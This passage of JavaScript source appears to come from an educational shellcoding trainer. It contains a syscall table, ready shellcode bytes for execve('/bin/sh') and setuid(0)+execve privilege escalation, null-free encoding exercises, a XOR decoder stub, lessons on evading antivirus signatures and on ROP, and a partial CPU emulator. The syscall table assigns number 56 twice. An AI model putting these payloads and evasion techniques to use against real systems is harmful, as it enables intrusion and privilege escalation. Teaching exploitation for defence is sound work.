["x0","x1","x2","x3","x4","x5","x6","x7","x8","x9","x10","x11","x12","x13","x14","x15"], special: { sp: "sp", bp: "x29 (fp)", ip: "pc", flags: "NZCV (pstate)" }, callingConv: "AAPCS64 — args in X0-X7. Return in X0. X19-X28 callee-saved. X30 (LR) = return address.", syscallMethod: "svc #0", syscallReg: "x8", syscallArgs: ["x0","x1","x2","x3","x4","x5"], endian: "Little (fixed)", addressSize: "8 bytes", syscalls: { 56: { name: "sys_clone", args: ["unsigned long flags","void *stack","..."] }, 57: { name: "sys_close", args: ["uint fd"] }, 63: { name: "sys_read", args: ["uint fd","char *buf","size_t count"] }, 64: { name: "sys_write", args: ["uint fd","char *buf","size_t count"] }, 56: { name: "sys_openat", args: ["int dfd","char *filename","int flags","int mode"] }, 23: { name: "sys_dup", args: ["uint fd"] }, 24: { name: "sys_dup3", args: ["uint oldfd","uint newfd","int flags"] }, 29: { name: "sys_ioctl", args: ["uint fd","uint cmd","unsigned long arg"] }, 93: { name: "sys_exit", args: ["int status"] }, 94: { name: "sys_exit_group", args: ["int status"] }, 129: { name: "sys_kill", args: ["pid_t pid","int sig"] }, 146: { name: "sys_setuid", args: ["uid_t uid"] }, 153: { name: "sys_setsid", args: [] }, 172: { name: "sys_getpid", args: [] }, 198: { name: "sys_socket", args: ["int domain","int type","int protocol"] }, 200: { name: "sys_bind", args: ["int fd","struct sockaddr *addr","int addrlen"] }, 201: { name: "sys_listen", args: ["int fd","int backlog"] }, 202: { name: "sys_accept", args: ["int fd","struct sockaddr *addr","int *addrlen"] }, 203: { name: "sys_connect", args: ["int fd","struct sockaddr *addr","int addrlen"] }, 214: { name: "sys_brk", args: ["unsigned long brk"] }, 221: { name: "sys_execve", args: ["char *filename","char **argv","char **envp"] }, 222: { name: "sys_mmap", args: ["void *addr","size_t len","int prot","int flags","int fd","off_t off"] }, 226: { name: "sys_mprotect", args: ["void *addr","size_t len","int prot"] }, 233: { name: "sys_nanosleep", args: ["struct timespec *req","struct timespec *rem"] }, }, instructions: { "Data Processing": [ { op: "mov", syn: "mov Xd, Xn / mov Xd, #imm", desc: "Move register or 16-bit immediate", ex: "mov x0, x1" }, { op: "movz", syn: "movz Xd, #imm16, lsl #shift", desc: "Move wide with zero — sets 16-bit slice, zeros rest", ex: "movz x0, #0x6873" }, { op: "movk", syn: "movk Xd, #imm16, lsl #shift", desc: "Move wide with keep — sets 16-bit slice, keeps rest", ex: "movk x0, #0x2f2f, lsl #16" }, { op: "movn", syn: "movn Xd, #imm16, lsl #shift", desc: "Move wide NOT — for loading negative values", ex: "movn x0, #0 ; x0 = -1" }, { op: "add", syn: "add Xd, Xn, Op2", desc: "Add (register or imm12)", ex: "add x0, x1, #16" }, { op: "sub", syn: "sub Xd, Xn, Op2", desc: "Subtract", ex: "sub sp, sp, #64" }, { op: "adds/subs", syn: "adds Xd, Xn, Op2", desc: "Add/sub and set flags (NZCV)", ex: "subs x0, x0, #1" }, { op: "mul", syn: "mul Xd, Xn, Xm", desc: "Multiply (64-bit result)", ex: "mul x0, x1, x2" }, { op: "neg", syn: "neg Xd, Xn", desc: "Negate (alias: sub Xd, XZR, Xn)", ex: "neg x0, x0" }, { op: "adr", syn: "adr Xd, label", desc: "PC-relative address (±1MB)", ex: "adr x0, msg" }, { op: "adrp", syn: "adrp Xd, label", desc: "PC-relative page address (±4GB)", ex: "adrp x0, msg" }, ], "Logic & Bitwise": [ { op: "and", syn: "and Xd, Xn, Op2", desc: "Bitwise AND", ex: "and x0, x0, #0xFF" }, { op: "orr", syn: "orr Xd, Xn, Op2", desc: "Bitwise OR", ex: "orr x0, x0, #0x80" }, { op: "eor", syn: "eor Xd, Xn, Op2", desc: "Bitwise XOR", ex: "eor x0, x0, x0 ; zero" }, { op: "bic", syn: "bic Xd, Xn, Op2", desc: "Bit clear (AND NOT)", ex: "bic x0, x0, #0xF" }, { op: "tst", syn: "tst Xn, Op2", desc: "Test bits (AND, sets NZCV, no result)", ex: "tst x0, #1" }, { op: "cmp", syn: "cmp Xn, Op2", desc: "Compare (SUBS, sets NZCV, no result)", ex: "cmp x0, #0" }, { op: "lsl/lsr/asr", syn: "lsl Xd, Xn, #n", desc: "Shift operations", ex: "lsl x0, x1, #2" }, { op: "ror", syn: "ror Xd, Xn, #n", desc: "Rotate right", ex: "ror x0, x0, #8" }, { op: "cls/clz", syn: "clz Xd, Xn", desc: "Count leading zeros/sign bits", ex: "clz x0, x1" }, { op: "rev", syn: "rev Xd, Xn", desc: "Reverse byte order (endian swap)", ex: "rev x0, x0" }, ], "Memory": [ { op: "ldr", syn: "ldr Xd, [Xn, #off]", desc: "Load register (word/doubleword)", ex: "ldr x0, [sp, #8]" }, { op: "str", syn: "str Xd, [Xn, #off]", desc: "Store register", ex: "str x0, [sp]" }, { op: "ldp/stp", syn: "stp X1, X2, [sp, #-16]!", desc: "Load/store pair (pre/post-index)", ex: "stp x29, x30, [sp, #-16]!" }, { op: "ldrb/strb", syn: "ldrb Wd, [Xn]", desc: "Load/store byte (zero-extends to 32-bit W reg)", ex: "ldrb w0, [x1]" }, { op: "ldrh/strh", syn: "ldrh Wd, [Xn]", desc: "Load/store halfword (16-bit)", ex: "ldrh w0, [x1, #2]" }, { op: "ldrsb/ldrsh", syn: "ldrsb Xd, [Xn]", desc: "Load byte/half with sign extension", ex: "ldrsb x0, [x1]" }, { op: "ldr Xd, =imm", syn: "ldr x0, =0x1234", desc: "Pseudo-instruction: load from literal pool", ex: "ldr x0, =0xDEADBEEF" }, ], "Branch & System": [ { op: "b", syn: "b label", desc: "Unconditional branch (±128MB)", ex: "b loop" }, { op: "bl", syn: "bl label", desc: "Branch with link (call — saves PC to X30)", ex: "bl printf" }, { op: "br/blr", syn: "blr Xn", desc: "Branch to register / with link", ex: "blr x8" }, { op: "ret", syn: "ret", desc: "Return — BR X30", ex: "ret" }, { op: "b.cond", syn: "b.eq/b.ne/b.gt/b.lt/b.ge/b.le/b.hi/b.lo", desc: "Conditional branch (16 conditions)", ex: "b.ne loop" }, { op: "cbz/cbnz", syn: "cbz Xn, label", desc: "Compare and branch if zero/nonzero", ex: "cbz x0, done" }, { op: "tbz/tbnz", syn: "tbz Xn, #bit, label", desc: "Test bit and branch", ex: "tbz x0, #0, is_even" }, { op: "svc", syn: "svc #0", desc: "Supervisor call (triggers EL1 exception → syscall)", ex: "svc #0" }, { op: "nop", syn: "nop", desc: "No operation", ex: "nop" }, ], "Special Registers": [ { op: "xzr/wzr", syn: "mov x0, xzr", desc: "Zero register — always reads as 0, writes discarded", ex: "mov x0, xzr ; zero without nulls" }, { op: "sp", syn: "mov x0, sp", desc: "Stack pointer (special, 16-byte aligned)", ex: "sub sp, sp, #32" }, { op: "mrs/msr", syn: "mrs Xd, sysreg", desc: "Move to/from system register", ex: "mrs x0, NZCV" }, ], }, shellcodeTemplates: { "exit(0)": { asm: `; exit(0) — AArch64 mov x0, #0 ; status = 0 mov x8, #93 ; sys_exit svc #0`, bytes: "00 00 80 d2 a8 0b 80 d2 01 00 00 d4", desc: "Minimal AArch64 exit. All A64 instructions are 4 bytes — inherently fewer null-byte issues than ARM32.", nullFree: false, }, "write(1, msg, 2)": { asm: `; write(1, "HI", 2) + exit — AArch64 mov x0, #1 ; fd = stdout mov x1, #0x4948 ; "HI" little-endian str x1, [sp, #-16]! mov x1, sp ; buf = stack pointer mov x2, #2 ; count mov x8, #64 ; sys_write svc #0 mov x0, #0 mov x8, #93 ; sys_exit svc #0`, bytes: "20 00 80 d2 01 29 89 d2 e1 0f 1f f8 e1 03 00 91 42 00 80 d2 08 08 80 d2 01 00 00 d4 00 00 80 d2 a8 0b 80 d2 01 00 00 d4", desc: "AArch64 write using stack-allocated string via STR pre-index.", nullFree: false, }, "execve(/bin/sh)": { asm: `; execve("/bin/sh", NULL, NULL) — AArch64 mov x1, xzr mov x2, xzr movz x3, #0x6873 movk x3, #0x2f2f, lsl #16 movk x3, #0x6e69, lsl #32 movk x3, #0x622f, lsl #48 str x3, [sp, #-8]! mov x0, sp mov x8, #221 svc #0`, bytes: "e1 03 1f aa e2 03 1f aa 63 0e d0 d2 63 e5 bf f2 63 2d cd f2 63 45 c8 f2 e3 0f 1f f8 e0 03 00 91 a8 1b 80 d2 01 00 00 d4", desc: "AArch64 execve using movz/movk chain for 64-bit string construction.", nullFree: true, }, "setuid+execve": { asm: `; setuid(0) + execve — AArch64 mov x0, xzr mov x8, #146 svc #0 mov x1, xzr mov x2, xzr movz x3, #0x6873 movk x3, #0x2f2f, lsl #16 movk x3, #0x6e69, lsl #32 movk x3, #0x622f, lsl #48 str x3, [sp, #-8]! mov x0, sp mov x8, #221 svc #0`, bytes: "e0 03 1f aa 28 12 80 d2 01 00 00 d4 e1 03 1f aa e2 03 1f aa 63 0e d0 d2 63 e5 bf f2 63 2d cd f2 63 45 c8 f2 e3 0f 1f f8 e0 03 00 91 a8 1b 80 d2 01 00 00 d4", desc: "Privilege escalation: setuid(0) then execve. Uses XZR for zero.", nullFree: true, }, }, }, }; // ── Encoding Exercises ── const EXERCISES = [ { id: "enc1", title: "Zero a Register (x86)", arch: "x86", difficulty: 1, prompt: "Write the most efficient way to zero EAX without using a null byte.", hint: "XOR a register with itself produces zero and is only 2 bytes.", answer: "xor eax, eax", explanation: "XOR EAX, EAX (opcode: 31 C0) is 2 bytes with no nulls. MOV EAX, 0 would be 5 bytes (B8 00 00 00 00) — full of nulls.", badBytes: "b8 00 00 00 00", goodBytes: "31 c0", }, { id: "enc2", title: "Null-Free Syscall Number (x64)", arch: "x64", difficulty: 1, prompt: "Load syscall number 60 (sys_exit) into RAX without null bytes.", hint: "push the immediate, then pop into the register.", answer: "push 60\npop rax", explanation: "PUSH 60 / POP RAX (6A 3C 58) is 3 bytes, null-free. MOV RAX, 60 would require REX.W prefix and encode as 48 C7 C0 3C 00 00 00 — nulls everywhere.", badBytes: "48 c7 c0 3c 00 00 00", goodBytes: "6a 3c 58", }, { id: "enc3", title: "Stack String Construction (x86)", arch: "x86", difficulty: 2, prompt: "Push the string '/bin' onto the stack in x86 without null bytes.", hint: "Strings are pushed as 32-bit DWORDs in reverse byte order (little-endian).", answer: "push 0x6e69622f", explanation: "'/bin' in ASCII: 2F=/ 62=b 69=i 6E=n. In little-endian DWORD: 0x6E69622F. PUSH 0x6E69622F (68 2F 62 69 6E) — 5 bytes, no nulls.", badBytes: "", goodBytes: "68 2f 62 69 6e", }, { id: "enc4", title: "Avoiding Null in /bin/sh (x86)", arch: "x86", difficulty: 2, prompt: "The string '/bin/sh' is 7 bytes — it doesn't fill a DWORD cleanly. How do you push it without introducing a null?", hint: "Use a double-slash: '/bin//sh' is 8 bytes = two clean DWORDs.", answer: "push 0x68732f2f\npush 0x6e69622f", explanation: "'/bin//sh': two pushes — 0x68732F2F ('//sh') then 0x6E69622F ('/bin'). The extra '/' is ignored by the kernel. ESP now points to '/bin//sh'.", badBytes: "", goodBytes: "68 2f 2f 73 68 68 2f 62 69 6e", }, { id: "enc5", title: "JMP-CALL-POP Pattern", arch: "x86", difficulty: 3, prompt: "Explain why JMP-CALL-POP works for getting a string address, and what happens at each step.", hint: "CALL pushes the next instruction's address (the return address) onto the stack.", answer: "jmp short _call\n_code: pop esi ; ESI = &string\n...\n_call: call _code\ndb 'hello'", explanation: "JMP forward past the data to a CALL. CALL pushes the address of the *next* instruction (our string data) onto the stack, then jumps back. POP retrieves the string address. Position-independent — works at any load address.", badBytes: "", goodBytes: "eb XX 5e ... e8 YY ff ff ff 68 65 6c 6c 6f", }, { id: "enc6", title: "XOR Encoder (x86)", arch: "x86", difficulty: 3, prompt: "Write a decoder stub that XOR-decodes ECX bytes at ESI with key 0xAA.", hint: "Loop: load byte at [ESI], XOR with key, store back, increment ESI, decrement ECX, repeat.", answer: "decode:\n xor byte [esi], 0xAA\n inc esi\n loop decode", explanation: "LOOP decrements ECX and jumps if nonzero. The stub walks the encoded payload byte-by-byte, XORing each with the key to restore the original shellcode. Prepend this to your encoded payload.", badBytes: "", goodBytes: "80 36 aa 46 e2 fb", }, { id: "arm1", title: "Zero a Register (ARM32)", arch: "arm32", difficulty: 1, prompt: "Zero register R0 in ARM32 without null bytes. Remember ARM32 fixed-width encoding often produces nulls.", hint: "EOR (exclusive OR) a register with itself. In Thumb mode, this avoids the null bytes inherent in ARM 32-bit encoding.", answer: "eor r0, r0, r0", explanation: "EOR R0, R0, R0 zeros the register. In Thumb mode (2 bytes: 40 40), this is null-free. In ARM mode (4 bytes: 00 00 20 E0), it contains 0x00 bytes — one reason Thumb mode is preferred for shellcoding.", badBytes: "00 00 a0 e3", goodBytes: "40 40", }, { id: "arm2", title: "Syscall Setup (ARM32)", arch: "arm32", difficulty: 1, prompt: "Set up the registers for sys_exit(0) on ARM32. What register holds the syscall number?", hint: "On ARM32, syscall number goes in R7, and the first argument goes in R0.", answer: "mov r0, #0\nmov r7, #1\nsvc #0", explanation: "ARM32 Linux syscall convention: number in R7, args in R0-R5, invoked with SVC #0. sys_exit=1, status in R0. This is very different from x86 (EAX for syscall number, INT 0x80).", badBytes: "", goodBytes: "00 00 a0 e3 01 70 a0 e3 00 00 00 ef", }, { id: "arm3", title: "Thumb vs ARM Encoding", arch: "arm32", difficulty: 2, prompt: "Why is Thumb mode preferred for ARM shellcoding? How do you switch to Thumb mode?", hint: "ARM 32-bit instructions are always 4 bytes and commonly contain 0x00. Thumb uses 2-byte instructions.", answer: ".thumb\nadd r0, #1", explanation: "ARM32 fixed 4-byte encoding produces null bytes in most instructions (e.g., MOV R0,#0 = 00 00 A0 E3). Thumb mode uses 16-bit instructions that naturally avoid nulls. Switch via .thumb directive or BX to an odd address. BX LR with bit 0 set enters Thumb mode.", badBytes: "00 00 a0 e3", goodBytes: "01 30", }, { id: "arm4", title: "Build String (AArch64)", arch: "arm64", difficulty: 2, prompt: "Build the string '/bin' in register X3 on AArch64 using movz/movk. How does the movz/movk chain work?", hint: "movz loads a 16-bit immediate and zeros the rest. movk keeps the existing value and overwrites one 16-bit slot.", answer: "movz x3, #0x6962\nmovk x3, #0x2f6e, lsl #16", explanation: "AArch64 can't load 64-bit immediates directly. movz sets one 16-bit chunk and zeros the rest. movk (keep) sets one 16-bit chunk without disturbing the others. Chain up to 4 movk calls to build a full 64-bit value. Little-endian: '/bin' = 2F 62 69 6E → movz #0x6962 (bytes 0-1), movk #0x2f6e, lsl #16 (bytes 2-3).", badBytes: "", goodBytes: "", }, { id: "arm5", title: "AArch64 Null-Free Zeroing", arch: "arm64", difficulty: 1, prompt: "Zero register X0 on AArch64 without producing null bytes. AArch64 has a dedicated zero register.", hint: "The XZR (zero register) always reads as zero. MOV from XZR avoids encoding a literal 0.", answer: "mov x0, xzr", explanation: "AArch64 has XZR/WZR — a hardwired zero register. MOV X0, XZR (AA 1F 03 E0... varies by encoding) is typically cleaner than MOV X0, #0. XZR is one of AArch64's biggest advantages for shellcoding — you never need XOR-zeroing tricks like on x86.", badBytes: "", goodBytes: "e0 03 1f aa", }, ]; // ── Lesson Modules ── const LESSONS = [ { id: "L1", title: "Architecture Fundamentals", sections: [ { title: "Registers & Data Sizes", content: "Registers are the CPU's fastest storage — directly wired into the ALU. x86 has 8 general-purpose 32-bit registers (EAX–EDI), while x64 extends these to 64-bit (RAX–RDI) and adds R8–R15. ARM uses R0–R12 with SP/LR/PC as dedicated registers. AArch64 expands to 31 general-purpose 64-bit registers (X0–X30).\n\nRegister sub-divisions matter for shellcode: writing to EAX zeros the upper 32 bits of RAX on x64, but writing to AX/AL does not. This zero-extension behavior is critical for avoiding unintended values." }, { title: "Memory Layout", content: "A process's virtual memory follows a standard layout: .text (executable code, read-only), .data (initialized globals), .bss (uninitialized globals, zero-filled), heap (grows upward via brk/mmap), and stack (grows downward from high addresses). The stack stores return addresses, local variables, and function arguments — making it the primary target for classic buffer overflow exploitation.\n\nStack alignment matters: x86 traditionally uses 4-byte alignment, but x64 ABI requires 16-byte alignment before CALL instructions. Misalignment causes SIGSEGV on SSE instructions — a common shellcode debugging headache." }, { title: "Endianness", content: "x86/x64 and ARM (in standard config) are little-endian: the least significant byte is stored at the lowest address. So the 32-bit value 0xDEADBEEF is stored in memory as EF BE AD DE. This affects how you construct strings on the stack — '/bin' (2F 62 69 6E) must be pushed as 0x6E69622F.\n\nARM can operate in big-endian mode but almost never does in practice. AArch64 is fixed little-endian. Network byte order (big-endian) requires conversion for socket addresses — htons() for ports, htonl() for IPs." }, ], }, { id: "L2", title: "Shellcoding Principles", sections: [ { title: "Position Independence", content: "Shellcode must work without knowing its load address — you can't use absolute addresses. Techniques:\n\n1. JMP-CALL-POP: jump forward to a CALL, which pushes the address of the following data onto the stack, then pop it into a register.\n2. RIP-relative addressing (x64): LEA RDI, [RIP+offset] directly references data relative to the current instruction pointer.\n3. Stack construction: build strings by pushing immediate values onto the stack, then reference via RSP/ESP.\n4. ADR instruction (ARM): loads a PC-relative address in a single instruction.\n\nStack construction is most common in modern x86/x64 shellcode because it's compact and inherently position-independent." }, { title: "Null Byte Avoidance", content: "Null bytes (0x00) terminate strings in C — if your shellcode is delivered via strcpy(), sprintf(), or similar functions, any null byte truncates the payload. Avoidance techniques:\n\n• XOR zeroing: xor eax, eax instead of mov eax, 0\n• Partial register loads: mov al, 1 instead of mov eax, 1\n• Push/pop: push 60; pop rax instead of mov rax, 60\n• Double-slash trick: '/bin//sh' instead of '/bin/sh\\0' to fill DWORD boundaries\n• SUB encoding: if an instruction unavoidably has a null, XOR-encode the shellcode and prepend a decoder stub\n\nAlways verify with: objdump -d shellcode.o | grep '00' or a hex dump." }, { title: "System Calls", content: "Shellcode talks to the kernel via syscalls — no libc wrappers. Each architecture has a different convention:\n\n• x86: syscall number in EAX, args in EBX/ECX/EDX/ESI/EDI/EBP, invoke with INT 0x80\n• x64: syscall number in RAX, args in RDI/RSI/RDX/R10/R8/R9, invoke with SYSCALL instruction\n• ARM32: syscall number in R7, args in R0–R5, invoke with SVC #0\n• AArch64: syscall number in X8, args in X0–X5, invoke with SVC #0\n\nSyscall numbers differ between architectures AND between 32/64 bit on the same arch. sys_write is 4 on x86 but 1 on x64. Always verify against the kernel header or a syscall table." }, ], }, { id: "L3", title: "Encoding & Evasion", sections: [ { title: "XOR Encoding", content: "The simplest encoder: XOR every byte of the shellcode with a single-byte key. The decoder stub (prepended to the payload) walks the encoded bytes and XORs them back. Choose a key that doesn't appear in the original shellcode — otherwise that byte becomes 0x00.\n\nLimitation: single-byte XOR is trivially detected by AV/IDS. It's a signature: look for a tight loop with XOR [reg], imm8.\n\nImprovement: use a multi-byte key (rolling XOR), or a different operation per byte (ADD/SUB/ROL rotation)." }, { title: "Polymorphic Shellcode", content: "Polymorphic shellcode changes its appearance on every generation while maintaining identical functionality. Techniques:\n\n1. Register substitution: swap which registers perform which roles (use ECX instead of EBX)\n2. Instruction substitution: sub eax, eax ↔ xor eax, eax ↔ push 0; pop eax\n3. Garbage insertion: insert NOPs, dead code, or benign instructions between real ones\n4. Reordering: rearrange independent instruction sequences\n5. Metamorphic engines: full code rewriting — the decoder itself changes shape\n\nGoal: defeat signature-based detection. Does NOT defeat behavioral analysis or emulation." }, { title: "Bad Character Analysis", content: "Different exploit vectors filter different byte values. Common bad chars:\n\n• 0x00 — null (string terminator)\n• 0x0a — newline (line-buffered input)\n• 0x0d — carriage return\n• 0x20 — space (argument separator)\n• 0xff — sometimes filtered in URL/HTTP contexts\n\nWorkflow: generate all 256 bytes (\\x00–\\xff), send through the vulnerability, compare what arrives vs what was sent. Missing/corrupted bytes are your bad chars. Then either avoid those opcodes or encode around them." }, ], }, { id: "L4", title: "Exploit Integration", sections: [ { title: "Stack Buffer Overflows", content: "Classic exploitation: overflow a stack buffer to overwrite the saved return address (EIP/RIP) with a pointer to your shellcode. The function's RET instruction pops your controlled value into the instruction pointer, redirecting execution.\n\nModern mitigations: NX/DEP marks the stack non-executable — shellcode on the stack won't run. ASLR randomizes stack addresses — you can't predict where your shellcode lands. Stack canaries detect overwrites before RET executes.\n\nBypass: ROP (Return-Oriented Programming) chains existing code gadgets instead of injecting new code. The shellcode still matters — it's what your ROP chain ultimately executes after disabling protections." }, { title: "ROP & Shellcode Staging", content: "When NX prevents direct shellcode execution, ROP chains small instruction sequences ('gadgets') ending in RET to build a program from existing code. Common strategy:\n\n1. ROP chain calls mprotect() to mark a memory page RWX\n2. Copy shellcode to that page (or it's already there from the overflow)\n3. Final gadget jumps to the now-executable shellcode\n\nAlternatively, a staged approach: a tiny first-stage shellcode (egg hunter, or read() call) pulls in the full second-stage payload over the network or from another memory location. This keeps the initial payload small enough to fit in tight buffer constraints." }, { title: "Cross-Architecture Considerations", content: "ARM shellcode faces unique challenges: fixed-width instructions (4 bytes ARM, 2 bytes Thumb) mean more null bytes in typical ARM encoding. Solution: use Thumb mode — 16-bit instructions are denser and have fewer embedded nulls.\n\nAArch64: all instructions are exactly 4 bytes. movz/movk chains build 64-bit immediates in 16-bit chunks. No equivalent of x86's variable-length encoding means less flexibility for size optimization.\n\nMIPS (if you encounter it): branch delay slots execute the instruction AFTER a branch regardless. Forgetting this is a classic MIPS shellcoding mistake." }, ], }, ]; // ── Hex Viewer ── const HexViewer = ({ bytes, highlight }) => { const byteArr = bytes.split(" ").filter(Boolean); return (
{byteArr.map((b, i) => { const isNull = b === "00"; const isHl = highlight && highlight.includes(i); return ( {b} ); })}
{byteArr.filter(b => b !== "...").length} bytes {byteArr.some(b => b === "00") && ⚠ Contains null bytes} {!byteArr.some(b => b === "00") && ✓ Null-free}
); }; // ── Register Visualizer ── const RegisterViz = ({ arch }) => { const a = ARCHS[arch]; const [vals, setVals] = useState({}); useEffect(() => { const v = {}; a.registers.forEach(r => { v[r] = Math.floor(Math.random() * (a.bits === 64 ? 0xFFFFFFFF : 0xFFFF)); }); setVals(v); }, [arch]); const fmt = (v) => a.bits === 64 ? "0x" + (v >>> 0).toString(16).padStart(8, "0").toUpperCase() : "0x" + (v >>> 0).toString(16).padStart(8, "0").toUpperCase(); const isSpecial = (r) => Object.values(a.special).some(s => s.includes(r)); return (
{a.registers.slice(0, 16).map(r => (
{r.toUpperCase()} {fmt(vals[r] || 0)}
))}
); }; // ── Stack Visualizer ── const StackViz = ({ arch }) => { const a = ARCHS[arch]; const base = a.bits === 64 ? 0x7FFFFFFFE000 : 0xBFFFF000; const rows = [ { off: 0, label: "Return Address (saved " + (a.bits === 64 ? "RIP" : "EIP") + ")", val: "0x0804xxxx", color: "#ff4757" }, { off: a.bits / 8, label: "Saved " + (a.bits === 64 ? "RBP" : "EBP"), val: "0xBFFFxxxx", color: "#ff6b35" }, { off: (a.bits / 8) * 2, label: "Local var: buffer[0..3]", val: "0x41414141", color: "#ffd866" }, { off: (a.bits / 8) * 3, label: "Local var: buffer[4..7]", val: "0x41414141", color: "#ffd866" }, { off: (a.bits / 8) * 4, label: "Local var: buffer[8..11]", val: "0x41414141", color: "#ffd866" }, { off: (a.bits / 8) * 5, label: "Stack canary (if present)", val: "0x00DEAD00", color: "#c792ea" }, { off: (a.bits / 8) * 6, label: "← " + (a.bits === 64 ? "RSP" : "ESP") + " (stack pointer)", val: "", color: "#39ff14" }, ]; return (
Address Value Description
{rows.map((r, i) => (
{"0x" + (base - r.off).toString(16).toUpperCase()} {r.val} {r.label}
))}
▲ Stack grows downward (toward lower addresses) ▲
); }; // ═══════════════════════════════════════════════════════════════ // CPU EMULATION ENGINE — Step Debugger Core // ═══════════════════════════════════════════════════════════════ const STACK_BASE_32 = 0xBFFFF000; const STACK_BASE_64 = 0x7FFFFFFFE000; const CODE_BASE = 0x08048000; function createCpuState(archKey) { const ar = ARCHS[archKey]; const regs = {}; ar.registers.forEach(r => { regs[r] = 0; }); const stackBase = ar.bits === 64 ? STACK_BASE_64 : STACK_BASE_32; const sp = ar.special.sp; regs[sp] = stackBase; const ip = ar.special.ip.replace(/ .*/, ""); // strip aliases like "pc (r15)" regs[ip] = CODE_BASE; return { regs, flags: { ZF: 0, CF: 0, SF: 0, OF: 0 }, memory: {}, // address -> byte value stack: [], // [{addr, value, label}] pc: 0, // index into parsed instructions halted: false, output: [], // syscall output history: [], // previous states for undo }; } function parseImm(s) { if (!s) return NaN; s = s.trim().replace(/,$/,""); if (s.startsWith("0x") || s.startsWith("0X")) return parseInt(s, 16); if (s.startsWith("-0x")) return -parseInt(s.slice(1), 16); if (s.startsWith("0b")) return parseInt(s.slice(2), 2); return parseInt(s, 10); } function isReg(s, archKey) { if (!s) return false; const ar = ARCHS[archKey]; return ar.registers.includes(s.toLowerCase().replace(/,$/,"")); } function cleanOp(s) { return (s || "").trim().replace(/,$/,"").toLowerCase(); } function parseAsmLines(code, archKey) { const lines = code.split("\n"); const parsed = []; const labels = {}; const ar = ARCHS[archKey]; // First pass: find labels let instrIdx = 0; lines.forEach((line) => { const trimmed = line.trim(); if (!trimmed || trimmed.startsWith(";") || trimmed.startsWith("#") || trimmed.startsWith("section") || trimmed.startsWith(".") || trimmed.startsWith("global") || trimmed.startsWith("db ") || trimmed.startsWith(".ascii") || trimmed.startsWith(".syntax")) return; if (trimmed.endsWith(":")) { labels[trimmed.slice(0, -1).trim()] = instrIdx; return; } // Handle label on same line as instruction if (trimmed.includes(":")) { const parts = trimmed.split(":"); labels[parts[0].trim()] = instrIdx; const rest = parts.slice(1).join(":").trim(); if (rest && !rest.startsWith(";")) instrIdx++; return; } instrIdx++; }); // Second pass: parse instructions lines.forEach((line, lineNum) => { let trimmed = line.trim(); if (!trimmed || trimmed.startsWith(";") || trimmed.startsWith("#") || trimmed.startsWith("section") || trimmed.startsWith(".") || trimmed.startsWith("global") || trimmed.startsWith("db ") || trimmed.startsWith(".ascii") || trimmed.startsWith(".syntax")) { // Still track for display if (trimmed) parsed.push({ type: "meta", raw: line, lineNum, op: null }); return; } if (trimmed.endsWith(":")) { parsed.push({ type: "label", raw: line, lineNum, op: null, name: trimmed.slice(0,-1).trim() }); return; } // Strip inline comments const commentIdx = trimmed.indexOf(";"); if (commentIdx > 0) trimmed = trimmed.slice(0, commentIdx).trim(); const commentIdx2 = trimmed.indexOf("#"); if (commentIdx2 > 0) trimmed = trimmed.slice(0, commentIdx2).trim(); // Handle label:instruction if (trimmed.includes(":")) { const parts = trimmed.split(":"); const lbl = parts[0].trim(); parsed.push({ type: "label", raw: lbl + ":", lineNum, op: null, name: lbl }); trimmed = parts.slice(1).join(":").trim(); if (!trimmed) return; } // Parse instruction const spaceIdx = trimmed.indexOf(" "); let op, operands; if (spaceIdx === -1) { op = trimmed.toLowerCase(); operands = []; } else { op = trimmed.slice(0, spaceIdx).toLowerCase(); const opStr = trimmed.slice(spaceIdx + 1).trim(); // Split on comma but not inside brackets operands = []; let depth = 0, cur = ""; for (const ch of opStr) { if (ch === "[") depth++; if (ch === "]") depth--; if (ch === "," && depth === 0) { operands.push(cur.trim()); cur = ""; } else cur += ch; } if (cur.trim()) operands.push(cur.trim()); } // Handle rep prefix if (op === "rep" || op === "repe" || op === "repne") { const rest = operands.join(" "); op = op + " " + rest.split(" ")[0]; operands = []; } // Normalize conditional jumps const jccOps = ["je","jz","jne","jnz","jg","jge","jl","jle","ja","jae","jb","jbe","jnle","jnge","jnbe","jnae","jns","js","jo","jno"]; parsed.push({ type: "instr", raw: line, lineNum, op, operands, addr: CODE_BASE + (parsed.filter(p => p.type === "instr").length * 4), }); }); return { instructions: parsed, labels }; } function execInstruction(cpu, instr, labels, archKey) { const ar = ARCHS[archKey]; const spName = ar.special.sp; const ipName = ar.special.ip.replace(/ .*/,""); const wordSize = ar.bits / 8; // Save state for undo const snapshot = JSON.parse(JSON.stringify({ regs: cpu.regs, flags: cpu.flags, memory: cpu.memory, stack: cpu.stack })); cpu.history.push(snapshot); if (cpu.history.length > 100) cpu.history.shift(); const getReg = (name) => cpu.regs[cleanOp(name)] || 0; const setReg = (name, val) => { const r = cleanOp(name); if (cpu.regs.hasOwnProperty(r)) { if (ar.bits === 32) val = val & 0xFFFFFFFF; else val = val & 0xFFFFFFFF; cpu.regs[r] = val; } }; // Memory dereference support: [reg], [reg+off], [reg+reg*scale], byte [addr] const isMem = (operand) => { if (!operand) return false; const s = operand.trim(); return s.includes("[") && s.includes("]"); }; const resolveAddr = (operand) => { // Parse: [reg], [reg+imm], [reg-imm], [reg+reg], [reg+reg*scale+imm] const s = cleanOp(operand); const inner = s.match(/\[([^\]]+)\]/)?.[1]?.trim(); if (!inner) return 0; // Simple register: [esp], [rsp], [esi] if (isReg(inner, archKey)) return getReg(inner); // reg+imm or reg-imm: [esp+4], [esi-8], [rsp+0x10] const plusMatch = inner.match(/^(\w+)\s*\+\s*(.+)$/); if (plusMatch) { const base = isReg(plusMatch[1], archKey) ? getReg(plusMatch[1]) : parseImm(plusMatch[1]); const off = isReg(plusMatch[2].trim(), archKey) ? getReg(plusMatch[2].trim()) : parseImm(plusMatch[2].trim()); return (base + off) & 0xFFFFFFFF; } const minusMatch = inner.match(/^(\w+)\s*-\s*(.+)$/); if (minusMatch) { const base = isReg(minusMatch[1], archKey) ? getReg(minusMatch[1]) : parseImm(minusMatch[1]); const off = parseImm(minusMatch[2].trim()); return (base - off) & 0xFFFFFFFF; } // reg+reg*scale: [ebx+ecx*4] const scaleMatch = inner.match(/^(\w+)\s*\+\s*(\w+)\s*\*\s*(\d+)$/); if (scaleMatch) { return (getReg(scaleMatch[1]) + getReg(scaleMatch[2]) * parseInt(scaleMatch[3])) & 0xFFFFFFFF; } // Just an immediate: [0x08048000] const imm = parseImm(inner); if (!isNaN(imm)) return imm; return 0; }; const readMem = (operand) => { const addr = resolveAddr(operand); return cpu.memory[addr] || 0; }; const writeMem = (operand, val) => { const addr = resolveAddr(operand); cpu.memory[addr] = val & 